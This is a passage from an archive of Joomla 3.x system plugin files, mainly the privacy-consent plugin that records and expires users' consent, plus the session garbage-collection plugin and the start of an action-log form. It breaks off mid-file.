    <authorUrl>www.joomshaper.com</authorUrl>
    <version>1.1</version>
    <description>SP Page Builder Pro Updater Plugin</description>

    <files>
		<filename plugin="sppagebuilderproupdater">sppagebuilderproupdater.php</filename>
    </files>
</extension>
                                                                                                                                                                                                                                                                                                            system/privacyconsent/field/privacy.php                                                             0000705                 00000005223 15242051520 0014404 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.privacyconsent
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;

JFormHelper::loadFieldClass('radio');

/**
 * Provides input for privacy
 *
 * @since  3.9.0
 */
class JFormFieldprivacy extends JFormFieldRadio
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.9.0
	 */
	protected $type = 'privacy';

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string   The field input markup.
	 *
	 * @since   3.9.0
	 */
	protected function getInput()
	{
		// Display the message before the field
		echo $this->getRenderer('plugins.system.privacyconsent.message')->render($this->getLayoutData());

		return parent::getInput();
	}

	/**
	 * Method to get the field label markup.
	 *
	 * @return  string  The field label markup.
	 *
	 * @since   3.9.0
	 */
	protected function getLabel()
	{
		if ($this->hidden)
		{
			return '';
		}

		return $this->getRenderer('plugins.system.privacyconsent.label')->render($this->getLayoutData());

	}

	/**
	 * Method to get the data to be passed to the layout for rendering.
	 *
	 * @return  array
	 *
	 * @since   3.9.4
	 */
	protected function getLayoutData()
	{
		$data = parent::getLayoutData();

		$article = false;
		$privacyArticle = $this->element['article'] > 0 ? (int) $this->element['article'] : 0;

		if ($privacyArticle && Factory::getApplication()->isClient('site'))
		{
			$db    = Factory::getDbo();
			$query = $db->getQuery(true)
				->select($db->quoteName(array('id', 'alias', 'catid', 'language')))
				->from($db->quoteName('#__content'))
				->where($db->quoteName('id') . ' = ' . (int) $privacyArticle);
			$db->setQuery($query);
			$article = $db->loadObject();

			JLoader::register('ContentHelperRoute', JPATH_BASE . '/components/com_content/helpers/route.php');

			$slug = $article->alias ? ($article->id . ':' . $article->alias) : $article->id;
			$article->link  = ContentHelperRoute::getArticleRoute($slug, $article->catid, $article->language);
		}

		$extraData = array(
			'privacynote' => !empty($this->element['note']) ? $this->element['note'] : Text::_('PLG_SYSTEM_PRIVACYCONSENT_NOTE_FIELD_DEFAULT'),
			'options' => $this->getOptions(),
			'value'   => (string) $this->value,
			'translateLabel' => $this->translateLabel,
			'translateDescription' => $this->translateDescription,
			'translateHint' => $this->translateHint,
			'privacyArticle' => $privacyArticle,
			'article' => $article,
		);

		return array_merge($data, $extraData);
	}
}
                                                                                                                                                                                                                                                                                                                                                                             system/privacyconsent/privacyconsent.xml                                                            0000705                 00000006512 15242051520 0014726 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.9" type="plugin" group="system" method="upgrade">
	<name>plg_system_privacyconsent</name>
	<author>Joomla! Project</author>
	<creationDate>April 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_SYSTEM_PRIVACYCONSENT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="privacyconsent">privacyconsent.php</filename>
		<folder>privacyconsent</folder>
		<folder>field</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_privacyconsent.ini</language>
		<language tag="en-GB">en-GB.plg_system_privacyconsent.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic" addfieldpath="/administrator/components/com_content/models/fields">
				<field
					name="privacy_note"
					type="textarea"
					label="PLG_SYSTEM_PRIVACYCONSENT_NOTE_FIELD_LABEL"
					description="PLG_SYSTEM_PRIVACYCONSENT_NOTE_FIELD_DESC"
					hint="PLG_SYSTEM_PRIVACYCONSENT_NOTE_FIELD_DEFAULT"
					class="span12"
					rows="7"
					cols="20"
					filter="html"
				/>
				<field
					name="privacy_article"
					type="modal_article"
					label="PLG_SYSTEM_PRIVACYCONSENT_FIELD_ARTICLE_LABEL"
					description="PLG_SYSTEM_PRIVACYCONSENT_FIELD_ARTICLE_DESC"
					select="true"
					new="true"
					edit="true"
					clear="true"
					filter="integer"
				/>
				<field
					name="messageOnRedirect"
					type="textarea"
					label="PLG_SYSTEM_PRIVACYCONSENT_REDIRECT_MESSAGE_LABEL"
					description="PLG_SYSTEM_PRIVACYCONSENT_REDIRECT_MESSAGE_DESC"
					hint="PLG_SYSTEM_PRIVACYCONSENT_REDIRECT_MESSAGE_DEFAULT"
					class="span12"
					rows="7"
					cols="20"
					filter="html"
				/>
			</fieldset>
			<fieldset
				name="expiration"
				label="PLG_SYSTEM_PRIVACYCONSENT_EXPIRATION_FIELDSET_LABEL"
			>
				<field
					name="enabled"
					type="radio"
					label="PLG_SYSTEM_PRIVACYCONSENT_FIELD_ENABLED_LABEL"
					description="PLG_SYSTEM_PRIVACYCONSENT_FIELD_ENABLED_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
				<field
					name="cachetimeout"
					type="integer"
					label="PLG_SYSTEM_PRIVACYCONSENT_CACHETIMEOUT_LABEL"
					description="PLG_SYSTEM_PRIVACYCONSENT_CACHETIMEOUT_DESC"
					first="0"
					last="120"
					step="1"
					default="30"
					filter="int"
					validate="number"
				/>
				<field
					name="consentexpiration"
					type="integer"
					label="PLG_SYSTEM_PRIVACYCONSENT_CONSENTEXPIRATION_LABEL"
					description="PLG_SYSTEM_PRIVACYCONSENT_CONSENTEXPIRATION_DESC"
					first="180"
					last="720"
					step="30"
					default="360"
					filter="int"
					validate="number"
				/>
				<field
					name="remind"
					type="integer"
					label="PLG_SYSTEM_PRIVACYCONSENT_REMINDBEFORE_LABEL"
					description="PLG_SYSTEM_PRIVACYCONSENT_REMINDBEFORE_DESC"
					first="0"
					last="120"
					step="1"
					default="30"
					filter="int"
					validate="number"
				/>
				<field
					name="lastrun"
					type="hidden"
					default="0"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                      system/privacyconsent/privacyconsent.php                                                            0000705                 00000046406 15242051520 0014723 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.privacyconsent
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Utilities\ArrayHelper;

/**
 * An example custom privacyconsent plugin.
 *
 * @since  3.9.0
 */
class PlgSystemPrivacyconsent extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.9.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.9.0
	 */
	protected $app;

	/**
	 * Database object.
	 *
	 * @var    JDatabaseDriver
	 * @since  3.9.0
	 */
	protected $db;

	/**
	 * Constructor
	 *
	 * @param   object  &$subject  The object to observe
	 * @param   array   $config    An array that holds the plugin configuration
	 *
	 * @since   3.9.0
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		JFormHelper::addFieldPath(__DIR__ . '/field');
	}

	/**
	 * Adds additional fields to the user editing form
	 *
	 * @param   JForm  $form  The form to be altered.
	 * @param   mixed  $data  The associated data for the form.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onContentPrepareForm($form, $data)
	{
		if (!($form instanceof JForm))
		{
			$this->_subject->setError('JERROR_NOT_A_FORM');

			return false;
		}

		// Check we are manipulating a valid form - we only display this on user registration form and user profile form.
		$name = $form->getName();

		if (!in_array($name, array('com_users.profile', 'com_users.registration')))
		{
			return true;
		}

		// We only display this if user has not consented before
		if (is_object($data))
		{
			$userId = isset($data->id) ? $data->id : 0;

			if ($userId > 0 && $this->isUserConsented($userId))
			{
				return true;
			}
		}

		// Add the privacy policy fields to the form.
		JForm::addFormPath(__DIR__ . '/privacyconsent');
		$form->loadFile('privacyconsent');

		$privacyArticleId = $this->getPrivacyArticleId();
		$privacynote      = $this->params->get('privacy_note');

		// Push the privacy article ID into the privacy field.
		$form->setFieldAttribute('privacy', 'article', $privacyArticleId, 'privacyconsent');
		$form->setFieldAttribute('privacy', 'note', $privacynote, 'privacyconsent');
	}

	/**
	 * Method is called before user data is stored in the database
	 *
	 * @param   array    $user   Holds the old user data.
	 * @param   boolean  $isNew  True if a new user is stored.
	 * @param   array    $data   Holds the new user data.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 * @throws  InvalidArgumentException on missing required data.
	 */
	public function onUserBeforeSave($user, $isNew, $data)
	{
		// // Only check for front-end user creation/update profile
		if ($this->app->isClient('administrator'))
		{
			return true;
		}

		$userId = ArrayHelper::getValue($user, 'id', 0, 'int');

		// User already consented before, no need to check it further
		if ($userId > 0 && $this->isUserConsented($userId))
		{
			return true;
		}

		// Check that the privacy is checked if required ie only in registration from frontend.
		$option = $this->app->input->getCmd('option');
		$task   = $this->app->input->get->getCmd('task');
		$form   = $this->app->input->post->get('jform', array(), 'array');

		if ($option == 'com_users' && in_array($task, array('registration.register', 'profile.save'))
			&& empty($form['privacyconsent']['privacy']))
		{
			throw new InvalidArgumentException(Text::_('PLG_SYSTEM_PRIVACYCONSENT_FIELD_ERROR'));
		}

		return true;
	}

	/**
	 * Saves user privacy confirmation
	 *
	 * @param   array    $data    entered user data
	 * @param   boolean  $isNew   true if this is a new user
	 * @param   boolean  $result  true if saving the user worked
	 * @param   string   $error   error message
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterSave($data, $isNew, $result, $error)
	{
		// Only create an entry on front-end user creation/update profile
		if ($this->app->isClient('administrator'))
		{
			return true;
		}

		// Get the user's ID
		$userId = ArrayHelper::getValue($data, 'id', 0, 'int');

		// If user already consented before, no need to check it further
		if ($userId > 0 && $this->isUserConsented($userId))
		{
			return true;
		}

		$option = $this->app->input->getCmd('option');
		$task   = $this->app->input->get->getCmd('task');
		$form   = $this->app->input->post->get('jform', array(), 'array');

		if ($option == 'com_users'
			&&in_array($task, array('registration.register', 'profile.save'))
			&& !empty($form['privacyconsent']['privacy']))
		{
			$userId = ArrayHelper::getValue($data, 'id', 0, 'int');

			// Get the user's IP address
			$ip = $this->app->input->server->get('REMOTE_ADDR', '', 'string');

			// Get the user agent string
			$userAgent = $this->app->input->server->get('HTTP_USER_AGENT', '', 'string');

			// Create the user note
			$userNote = (object) array(
				'user_id' => $userId,
				'subject' => 'PLG_SYSTEM_PRIVACYCONSENT_SUBJECT',
				'body'    => Text::sprintf('PLG_SYSTEM_PRIVACYCONSENT_BODY', $ip, $userAgent),
				'created' => Factory::getDate()->toSql(),
			);

			try
			{
				$this->db->insertObject('#__privacy_consents', $userNote);
			}
			catch (Exception $e)
			{
				// Do nothing if the save fails
			}

			$userId = ArrayHelper::getValue($data, 'id', 0, 'int');

			$message = array(
				'action'      => 'consent',
				'id'          => $userId,
				'title'       => $data['name'],
				'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $userId,
				'userid'      => $userId,
				'username'    => $data['username'],
				'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $userId,
			);

			JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_actionlogs/models', 'ActionlogsModel');

			/* @var ActionlogsModelActionlog $model */
			$model = JModelLegacy::getInstance('Actionlog', 'ActionlogsModel');
			$model->addLog(array($message), 'PLG_SYSTEM_PRIVACYCONSENT_CONSENT', 'plg_system_privacyconsent', $userId);
		}

		return true;
	}

	/**
	 * Remove all user privacy consent information for the given user ID
	 *
	 * Method is called after user data is deleted from the database
	 *
	 * @param   array    $user     Holds the user data
	 * @param   boolean  $success  True if user was successfully stored in the database
	 * @param   string   $msg      Message
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterDelete($user, $success, $msg)
	{
		if (!$success)
		{
			return false;
		}

		$userId = ArrayHelper::getValue($user, 'id', 0, 'int');

		if ($userId)
		{
			// Remove user's consent
			try
			{
				$query = $this->db->getQuery(true)
					->delete($this->db->quoteName('#__privacy_consents'))
					->where($this->db->quoteName('user_id') . ' = ' . (int) $userId);
				$this->db->setQuery($query);
				$this->db->execute();
			}
			catch (Exception $e)
			{
				$this->_subject->setError($e->getMessage());

				return false;
			}
		}

		return true;
	}

	/**
	 * If logged in users haven't agreed to privacy consent, redirect them to profile edit page, ask them to agree to
	 * privacy consent before allowing access to any other pages
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onAfterRoute()
	{
		// Run this in frontend only
		if ($this->app->isClient('administrator'))
		{
			return;
		}

		$userId = Factory::getUser()->id;

		// Check to see whether user already consented, if not, redirect to user profile page
		if ($userId > 0)
		{
			// If user consented before, no need to check it further
			if ($this->isUserConsented($userId))
			{
				return;
			}

			$option = $this->app->input->getCmd('option');
			$task   = $this->app->input->get('task');
			$view   = $this->app->input->getString('view', '');
			$layout = $this->app->input->getString('layout', '');
			$id     = $this->app->input->getInt('id');

			$privacyArticleId = $this->getPrivacyArticleId();

			/*
			 * If user is already on edit profile screen or view privacy article
			 * or press update/apply button, or logout, do nothing to avoid infinite redirect
			 */
			if ($option == 'com_users' && in_array($task, array('profile.save', 'profile.apply', 'user.logout', 'user.menulogout'))
				|| ($option == 'com_content' && $view == 'article' && $id == $privacyArticleId)
				|| ($option == 'com_users' && $view == 'profile' && $layout == 'edit'))
			{
				return;
			}

			// Redirect to com_users profile edit
			$this->app->enqueueMessage($this->getRedirectMessage(), 'notice');
			$link = 'index.php?option=com_users&view=profile&layout=edit';
			$this->app->redirect(\JRoute::_($link, false));
		}
	}

	/**
	 * Event to specify whether a privacy policy has been published.
	 *
	 * @param   array  &$policy  The privacy policy status data, passed by reference, with keys "published", "editLink" and "articlePublished".
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyCheckPrivacyPolicyPublished(&$policy)
	{
		// If another plugin has already indicated a policy is published, we won't change anything here
		if ($policy['published'])
		{
			return;
		}

		$articleId = $this->params->get('privacy_article');

		if (!$articleId)
		{
			return;
		}

		// Check if the article exists in database and is published
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName(array('id', 'state')))
			->from($this->db->quoteName('#__content'))
			->where($this->db->quoteName('id') . ' = ' . (int) $articleId);
		$this->db->setQuery($query);

		$article = $this->db->loadObject();

		// Check if the article exists
		if (!$article)
		{
			return;
		}

		// Check if the article is published
		if ($article->state == 1)
		{
			$policy['articlePublished'] = true;
		}

		$policy['published'] = true;
		$policy['editLink']  = JRoute::_('index.php?option=com_content&task=article.edit&id=' . $articleId);
	}

	/**
	 * Returns the configured redirect message and falls back to the default version.
	 *
	 * @return  string  redirect message
	 *
	 * @since   3.9.0
	 */
	private function getRedirectMessage()
	{
		$messageOnRedirect = trim($this->params->get('messageOnRedirect', ''));

		if (empty($messageOnRedirect))
		{
			return Text::_('PLG_SYSTEM_PRIVACYCONSENT_REDIRECT_MESSAGE_DEFAULT');
		}

		return $messageOnRedirect;
	}

	/**
	 * Method to check if the given user has consented yet
	 *
	 * @param   integer  $userId  ID of uer to check
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	private function isUserConsented($userId)
	{
		$query = $this->db->getQuery(true);
		$query->select('COUNT(*)')
			->from('#__privacy_consents')
			->where('user_id = ' . (int) $userId)
			->where('subject = ' . $this->db->quote('PLG_SYSTEM_PRIVACYCONSENT_SUBJECT'))
			->where('state = 1');
		$this->db->setQuery($query);

		return (int) $this->db->loadResult() > 0;
	}

	/**
	 * Get privacy article ID. If the site is a multilingual website and there is associated article for the
	 * current language, ID of the associated article will be returned
	 *
	 * @return  integer
	 *
	 * @since   3.9.0
	 */
	private function getPrivacyArticleId()
	{
		$privacyArticleId = $this->params->get('privacy_article');

		if ($privacyArticleId > 0 && JLanguageAssociations::isEnabled())
		{
			$privacyAssociated = JLanguageAssociations::getAssociations('com_content', '#__content', 'com_content.item', $privacyArticleId);
			$currentLang = JFactory::getLanguage()->getTag();

			if (isset($privacyAssociated[$currentLang]))
			{
				$privacyArticleId = $privacyAssociated[$currentLang]->id;
			}
		}

		return $privacyArticleId;
	}

	/**
	 * The privacy consent expiration check code is triggered after the page has fully rendered.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onAfterRender()
	{
		if (!$this->params->get('enabled', 0))
		{
			return;
		}

		$cacheTimeout = (int) $this->params->get('cachetimeout', 30);
		$cacheTimeout = 24 * 3600 * $cacheTimeout;

		// Do we need to run? Compare the last run timestamp stored in the plugin's options with the current
		// timestamp. If the difference is greater than the cache timeout we shall not execute again.
		$now  = time();
		$last = (int) $this->params->get('lastrun', 0);

		if ((abs($now - $last) < $cacheTimeout))
		{
			return;
		}

		// Update last run status
		$this->params->set('lastrun', $now);
		$db    = $this->db;
		$query = $db->getQuery(true)
			->update($db->quoteName('#__extensions'))
			->set($db->quoteName('params') . ' = ' . $db->quote($this->params->toString('JSON')))
			->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
			->where($db->quoteName('folder') . ' = ' . $db->quote('system'))
			->where($db->quoteName('element') . ' = ' . $db->quote('privacyconsent'));

		try
		{
			// Lock the tables to prevent multiple plugin executions causing a race condition
			$db->lockTable('#__extensions');
		}
		catch (Exception $e)
		{
			// If we can't lock the tables it's too risky to continue execution
			return;
		}

		try
		{
			// Update the plugin parameters
			$result = $db->setQuery($query)->execute();
			$this->clearCacheGroups(array('com_plugins'), array(0, 1));
		}
		catch (Exception $exc)
		{
			// If we failed to execute
			$db->unlockTables();
			$result = false;
		}

		try
		{
			// Unlock the tables after writing
			$db->unlockTables();
		}
		catch (Exception $e)
		{
			// If we can't lock the tables assume we have somehow failed
			$result = false;
		}

		// Abort on failure
		if (!$result)
		{
			return;
		}

		// Delete the expired privacy consents
		$this->invalidateExpiredConsents();

		// Remind for privacy consents near to expire
		$this->remindExpiringConsents();

	}

	/**
	 * Method to send the remind for privacy consents renew
	 *
	 * @return  integer
	 *
	 * @since   3.9.0
	 */
	private function remindExpiringConsents()
	{
		// Load the parameters.
		$expire = (int) $this->params->get('consentexpiration', 365);
		$remind = (int) $this->params->get('remind', 30);
		$now    = JFactory::getDate()->toSql();
		$period = '-' . ($expire - $remind);

		$db    = $this->db;
		$query = $db->getQuery(true)
			->select($db->quoteName(array('r.id', 'r.user_id', 'u.email')))
			->from($db->quoteName('#__privacy_consents', 'r'))
			->leftJoin($db->quoteName('#__users', 'u') . ' ON u.id = r.user_id')
			->where($db->quoteName('subject') . ' = ' . $db->quote('PLG_SYSTEM_PRIVACYCONSENT_SUBJECT'))
			->where($db->quoteName('remind') . ' = 0');
		$query->where($query->dateAdd($db->quote($now), $period, 'DAY') . ' > ' . $db->quoteName('created'));

		try
		{
			$users = $db->setQuery($query)->loadObjectList();
		}
		catch (JDatabaseException $exception)
		{
			return false;
		}

		$app      = JFactory::getApplication();
		$linkMode = $app->get('force_ssl', 0) == 2 ? Route::TLS_FORCE : Route::TLS_IGNORE;

		foreach ($users as $user)
		{
			$token       = JApplicationHelper::getHash(JUserHelper::genRandomPassword());
			$hashedToken = JUserHelper::hashPassword($token);

			// The mail
			try
			{
				$substitutions = array(
					'[SITENAME]' => $app->get('sitename'),
					'[URL]'      => JUri::root(),
					'[TOKENURL]' => JRoute::link('site', 'index.php?option=com_privacy&view=remind&remind_token=' . $token, false, $linkMode, true),
					'[FORMURL]'  => JRoute::link('site', 'index.php?option=com_privacy&view=remind', false, $linkMode, true),
					'[TOKEN]'    => $token,
					'\\n'        => "\n",
				);

				$emailSubject = JText::_('PLG_SYSTEM_PRIVACYCONSENT_EMAIL_REMIND_SUBJECT');
				$emailBody = JText::_('PLG_SYSTEM_PRIVACYCONSENT_EMAIL_REMIND_BODY');

				foreach ($substitutions as $k => $v)
				{
					$emailSubject = str_replace($k, $v, $emailSubject);
					$emailBody    = str_replace($k, $v, $emailBody);
				}

				$mailer = JFactory::getMailer();
				$mailer->setSubject($emailSubject);
				$mailer->setBody($emailBody);
				$mailer->addRecipient($user->email);

				$mailResult = $mailer->Send();

				if ($mailResult instanceof JException)
				{
					return false;
				}
				elseif ($mailResult === false)
				{
					return false;
				}

				// Update the privacy_consents item to not send the reminder again
				$query->clear()
					->update($db->quoteName('#__privacy_consents'))
					->set($db->quoteName('remind') . ' = 1 ')
					->set($db->quoteName('token') . ' = ' . $db->quote($hashedToken))
					->where($db->quoteName('id') . ' = ' . (int) $user->id);
				$db->setQuery($query);

				try
				{
					$db->execute();
				}
				catch (RuntimeException $e)
				{
					return false;
				}
			}
			catch (phpmailerException $exception)
			{
				return false;
			}
		}
	}

	/**
	 * Method to delete the expired privacy consents
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	private function invalidateExpiredConsents()
	{
		// Load the parameters.
		$expire = (int) $this->params->get('consentexpiration', 365);
		$now    = JFactory::getDate()->toSql();
		$period = '-' . $expire;

		$db    = $this->db;
		$query = $db->getQuery(true);
		$query->select($db->quoteName(array('id', 'user_id')))
			->from($db->quoteName('#__privacy_consents'))
			->where($query->dateAdd($db->quote($now), $period, 'DAY') . ' > ' . $db->quoteName('created'))
			->where($db->quoteName('subject') . ' = ' . $db->quote('PLG_SYSTEM_PRIVACYCONSENT_SUBJECT'))
			->where($db->quoteName('state') . ' = 1');
		$db->setQuery($query);

		try
		{
			$users = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		// Do not process further if no expired consents found
		if (empty($users))
		{
			return true;
		}

		// Push a notification to the site's super users
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_messages/models', 'MessagesModel');
		JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_messages/tables');
		/** @var MessagesModelMessage $messageModel */
		$messageModel = JModelLegacy::getInstance('Message', 'MessagesModel');

		foreach ($users as $user)
		{
			$query = $db->getQuery(true)
				->update($db->quoteName('#__privacy_consents'))
				->set('state = 0')
				->where($db->quoteName('id') . ' = ' . (int) $user->id);
			$db->setQuery($query);

			try
			{
				$db->execute();
			}
			catch (RuntimeException $e)
			{
				return false;
			}

			$messageModel->notifySuperUsers(
				JText::_('PLG_SYSTEM_PRIVACYCONSENT_NOTIFICATION_USER_PRIVACY_EXPIRED_SUBJECT'),
				JText::sprintf('PLG_SYSTEM_PRIVACYCONSENT_NOTIFICATION_USER_PRIVACY_EXPIRED_MESSAGE', JFactory::getUser($user->user_id)->username)
			);
		}

		return true;
	}
	/**
	 * Clears cache groups. We use it to clear the plugins cache after we update the last run timestamp.
	 *
	 * @param   array  $clearGroups   The cache groups to clean
	 * @param   array  $cacheClients  The cache clients (site, admin) to clean
	 *
	 * @return  void
	 *
	 * @since    3.9.0
	 */
	private function clearCacheGroups(array $clearGroups, array $cacheClients = array(0, 1))
	{
		$conf = JFactory::getConfig();

		foreach ($clearGroups as $group)
		{
			foreach ($cacheClients as $client_id)
			{
				try
				{
					$options = array(
						'defaultgroup' => $group,
						'cachebase'    => $client_id ? JPATH_ADMINISTRATOR . '/cache' :
							$conf->get('cache_path', JPATH_SITE . '/cache')
					);

					$cache = JCache::getInstance('callback', $options);
					$cache->clean();
				}
				catch (Exception $e)
				{
					// Ignore it
				}
			}
		}
	}
}
                                                                                                                                                                                                                                                          system/privacyconsent/privacyconsent/privacyconsent.xml                                             0000705                 00000001072 15242051520 0017771 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="privacyconsent">
		<fieldset
			name="privacyconsent"
			label="PLG_SYSTEM_PRIVACYCONSENT_LABEL"
		>
			<field
				name="privacy"
				type="privacy"
				label="PLG_SYSTEM_PRIVACYCONSENT_FIELD_LABEL"
				description="PLG_SYSTEM_PRIVACYCONSENT_FIELD_DESC"
				default="0"
				filter="integer"
				required="true"
				>
				<option value="1">PLG_SYSTEM_PRIVACYCONSENT_OPTION_AGREE</option>
				<option value="0">PLG_SYSTEM_PRIVACYCONSENT_OPTION_DO_NOT_AGREE</option>
			</field>
		</fieldset>
	</fields>
</form>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      system/sessiongc/sessiongc.xml                                                                      0000705                 00000004340 15242051520 0012577 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.8" type="plugin" group="system" method="upgrade">
	<name>plg_system_sessiongc</name>
	<author>Joomla! Project</author>
	<creationDate>February 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.8.6</version>
	<description>PLG_SYSTEM_SESSIONGC_XML_DESCRIPTION</description>
	<files>
		<filename plugin="sessiongc">sessiongc.php</filename>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB/en-GB.plg_system_sessiongc.ini</language>
		<language tag="en-GB">en-GB/en-GB.plg_system_sessiongc.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="enable_session_gc"
					type="radio"
					label="PLG_SYSTEM_SESSIONGC_ENABLE_SESSION_GC_LABEL"
					description="PLG_SYSTEM_SESSIONGC_ENABLE_SESSION_GC_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="uint"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="enable_session_metadata_gc"
					type="radio"
					label="PLG_SYSTEM_SESSIONGC_ENABLE_SESSION_METADATA_GC_LABEL"
					description="PLG_SYSTEM_SESSIONGC_ENABLE_SESSION_METADATA_GC_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="uint"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="gc_probability"
					type="number"
					label="PLG_SYSTEM_SESSIONGC_GC_PROBABILITY_LABEL"
					description="PLG_SYSTEM_SESSIONGC_GC_PROBABILITY_DESC"
					filter="uint"
					validate="number"
					min="1"
					default="1"
					showon="enable_session_gc:1[OR]enable_session_metadata_gc:1"
				/>

				<field
					name="gc_divisor"
					type="number"
					label="PLG_SYSTEM_SESSIONGC_GC_DIVISOR_LABEL"
					description="PLG_SYSTEM_SESSIONGC_GC_DIVISOR_DESC"
					filter="uint"
					validate="number"
					min="1"
					default="100"
					showon="enable_session_gc:1[OR]enable_session_metadata_gc:1"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                system/sessiongc/sessiongc.php                                                                      0000705                 00000003311 15242051520 0012563 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.sessiongc
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Session\MetadataManager;

/**
 * Garbage collection handler for session related data
 *
 * @since  3.8.6
 */
class PlgSystemSessionGc extends CMSPlugin
{
	/**
	 * Application object
	 *
	 * @var    CMSApplication
	 * @since  3.8.6
	 */
	protected $app;

	/**
	 * Database driver
	 *
	 * @var    JDatabaseDriver
	 * @since  3.8.6
	 */
	protected $db;

	/**
	 * Runs after the HTTP response has been sent to the client and performs garbage collection tasks
	 *
	 * @return  void
	 *
	 * @since   3.8.6
	 */
	public function onAfterRespond()
	{
		$session = Factory::getSession();

		if ($this->params->get('enable_session_gc', 1))
		{
			$probability = $this->params->get('gc_probability', 1);
			$divisor     = $this->params->get('gc_divisor', 100);

			$random = $divisor * lcg_value();

			if ($probability > 0 && $random < $probability)
			{
				$session->gc();
			}
		}

		if ($this->app->get('session_handler', 'none') !== 'database' && $this->params->get('enable_session_metadata_gc', 1))
		{
			$probability = $this->params->get('gc_probability', 1);
			$divisor     = $this->params->get('gc_divisor', 100);

			$random = $divisor * lcg_value();

			if ($probability > 0 && $random < $probability)
			{
				$metadataManager = new MetadataManager($this->app, $this->db);
				$metadataManager->deletePriorTo(time() - $session->getExpire());
			}
		}
	}
}
                                                                                                                                                                                                                                                                                                                       system/actionlogs/forms/information.xml                                                             0000705                 00000000617 15242051520 0014425 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="UTF-8"?>
<form>
	<fields name="params">
		<fieldset name="information" label="PLG_SYSTEM_ACTIONLOGS_OPTIONS" addfieldpath="/administrator/components/com_actionlogs/models/fields">
			<field
				name="Information"
				type="plugininfo"
				label="PLG_SYSTEM_ACTIONLOGS_INFO_LABEL"
				description="PLG_SYSTEM_ACTIONLOGS_INFO_DESC"
			/>
		</fieldset>
	</fields>
</form>
                                                                                                                 system/actionlogs/forms/actionlogs.xml                                                              0000705                 00000001537 15242051520 0014244 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="UTF-8"?>
<form>
	<fieldset name="actionlogs" label="PLG_SYSTEM_ACTIONLOGS_OPTIONS" addfieldpath="/administrator/components/com_actionlogs/models/fields">
